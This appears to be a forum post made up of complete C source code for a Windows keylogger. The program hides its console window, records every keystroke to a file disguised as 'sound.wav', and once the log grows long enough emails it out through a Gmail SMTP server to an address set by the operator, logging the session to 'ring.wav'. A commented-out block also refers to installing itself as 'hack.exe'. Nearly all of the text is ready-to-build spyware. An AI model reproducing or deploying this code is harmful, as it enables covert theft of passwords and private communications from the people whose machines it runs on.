Kód: Vybrať všetko

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <time.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 500
/*If you don't know the mail exchange server for an address for the following 
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for 
whatever email address you want. YOU MUST CHANGE THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "[email protected]"
#define cemailfrom "[email protected]"
#define LogLength 100
#define FileName "sound.wav"
#define SMTPLog "ring.wav"
#define cemailsubject "Logged"

int get_keys ();
int test_key(void);
int main(void)
{
  //Uncomment the lines below to put the keylogger in stealh mode.
  HWND stealth; /*creating stealth */
  AllocConsole();
  stealth=FindWindowA("ConsoleWindowClass",NULL);
  ShowWindow(stealth,0);
  
  {FILE *file;
  file=fopen(FileName,"a+");
  time_t theTime=time(0);
  fputs("\nStarted logging: ", file);
  fputs(ctime(&theTime),file);
  fclose(file);
  }
  
  /* if (test==2)
  {//the path in which the file needs to be
  char *path="c:\\%windir%\\hack.exe";
  create=create_key(path);     
  } */
  
  int t=get_keys();  
  return t;
} 

int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");


      short character;
       while(1)
       {
          Sleep(10);
          for(character=8;character<=222;character++)
          {
            if(GetAsyncKeyState(character)==-32767)
            { 
              FILE *file;
              file=fopen(FileName,"a+");
              if(file==NULL)
              {
                  return 1;
              }      
              if(file!=NULL)
              {    
                  if((character>=39)&&(character<=64))
                  {
                     fputc(character,file);
                     fclose(file);
                     break;
                  }    
                  else if((character>64)&&(character<91))
                  {
                     character+=32;
                     fputc(character,file);
                     fclose(file);
                     break;
                  }
                  else
                  {
                    switch(character)
                    {
                       case VK_SPACE:
                       fputc(' ',file);
                       fclose(file);
                       break;  
                       case VK_SHIFT:
                       fputs("\r\n[SHIFT]\r\n",file);
                       fclose(file);
                       break;                      
                       case VK_RETURN:
                       fputs("\r\n[ENTER]\r\n",file);
                       fclose(file);
                       break;
                       case VK_BACK:
                       fputs("\r\n[BACKSPACE]\r\n",file);
                       fclose(file);
                       break;
                       case VK_TAB:
                       fputs("\r\n[TAB]\r\n",file);
                       fclose(file);
                       break;
                       case VK_CONTROL:
                       fputs("\r\n[CTRL]\r\n",file);
                       fclose(file);
                       break;  
                       case VK_DELETE:
                       fputs("\r\n[DEL]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_1:
                       fputs("\r\n[;:]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_2:
                       fputs("\r\n[/?]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_3:
                       fputs("\r\n[`~]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_4:
                       fputs("\r\n[ [{ ]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_5:
                       fputs("\r\n[\\|]\r\n",file);
                       fclose(file);
                       break;                
                       case VK_OEM_6:
                       fputs("\r\n[ ]} ]\r\n",file);
                       fclose(file);
                       break;
                       case VK_OEM_7:
                       fputs("\r\n['\"]\r\n",file);
                       fclose(file);
                       break;
                       /*case 187:
                       fputc('+',file);
                       fclose(file);
                       break;
                       case 188:
                       fputc(',',file);
                       fclose(file);
                       break;
                       case 189:
                       fputc('-',file);
                       fclose(file);
                       break;
                       case 190:
                       fputc('.',file);
                       fclose(file);
                       break;*/
                       case VK_NUMPAD0:
                       fputc('0',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD1:
                       fputc('1',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD2:
                       fputc('2',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD3:
                       fputc('3',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD4:
                       fputc('4',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD5:
                       fputc('5',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD6:
                       fputc('6',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD7:
                       fputc('7',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD8:
                       fputc('8',file);
                       fclose(file);
                       break;
                       case VK_NUMPAD9:
                       fputc('9',file);
                       fclose(file);
                       break;
                       case VK_CAPITAL:
                       fputs("\r\n[CAPS LOCK]\r\n",file);
                       fclose(file);
                       break;
                       default:
                       fclose(file);
                       break;
                    }    
                 }  
               }    
          }  
        }         
      FILE *file;
      file=fopen(FileName,"rb");
      fseek(file,0,SEEK_END); //go to end
      len=ftell(file); //get position at end (length)
      if(len>=LogLength) {
       fseek(file,0,SEEK_SET);//go to beg.
       buf=(char *)malloc(len);//malloc buffer
       freadindex=fread(buf,1,len,file);//read into buffer
       buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
       MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
       fclose(file);
       file=fopen(FileName,"w");            
       }
      
      fclose(file);
      //free (buf);
         
      }
      return EXIT_SUCCESS;              
}

int MailIt (char *mailserver, char *emailto, char *emailfrom, 
char *emailsubject, char *emailmessage) {
  SOCKET sockfd;
  WSADATA wsaData;
  FILE *smtpfile;
  
  #define bufsize 300
  int bytes_sent;  /* Sock FD */
  int err;
  struct hostent *host;  /* info from gethostbyname */
  struct sockaddr_in dest_addr;  /* Host Address */
  char line[1000];
  char *Rec_Buf = (char*) malloc(bufsize+1);
  smtpfile=fopen(SMTPLog,"a+");
  if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
   fputs("WSAStartup failed",smtpfile);
   WSACleanup();
   return -1;
  }
  if ( (host=gethostbyname(mailserver)) == NULL) {
    perror("gethostbyname");
    exit(1);
  }
  memset(&dest_addr,0,sizeof(dest_addr));
  memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

   /* Prepare dest_addr */
   dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */
   dest_addr.sin_port= htons(25); /* PORT defined above */

   /* Get socket */

   if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
    perror("socket");
    exit(1);
    }
   /* Connect !*/
   fputs("Connecting....\n",smtpfile);
 
  if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
    perror("connect");
    exit(1);
    }
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   strcpy(line,"helo me.somepalace.com\n");
   fputs(line,smtpfile);
   bytes_sent=send(sockfd,line,strlen(line),0);
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   strcpy(line,"MAIL FROM:<");
   strncat(line,emailfrom,strlen(emailfrom));
   strncat(line,">\n",3);
   fputs(line,smtpfile);
   bytes_sent=send(sockfd,line,strlen(line),0);
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   strcpy(line,"RCPT TO:<");
   strncat(line,emailto,strlen(emailto));
   strncat(line,">\n",3);
   fputs(line,smtpfile);
   bytes_sent=send(sockfd,line,strlen(line),0);
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   strcpy(line,"DATA\n");
   fputs(line,smtpfile);
   bytes_sent=send(sockfd,line,strlen(line),0);
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   Sleep(waittime);
   strcpy(line,"To:");
   strcat(line,emailto);
   strcat(line,"\n");
   strcat(line,"From:");
   strcat(line,emailfrom);
   strcat(line,"\n");
   strcat(line,"Subject:");
   strcat(line,emailsubject);
   strcat(line,"\n");
   strcat(line,emailmessage);
   strcat(line,"\r\n.\r\n");
   fputs(line,smtpfile);
   bytes_sent=send(sockfd,line,strlen(line),0);
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   strcpy(line,"quit\n");
   fputs(line,smtpfile);
   bytes_sent=send(sockfd,line,strlen(line),0);
   Sleep(waittime);
   err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
   fputs(Rec_Buf,smtpfile);
   fclose(smtpfile);             
   #ifdef WIN32
   closesocket(sockfd);
   WSACleanup();
   #else
   close(sockfd);
   #endif
}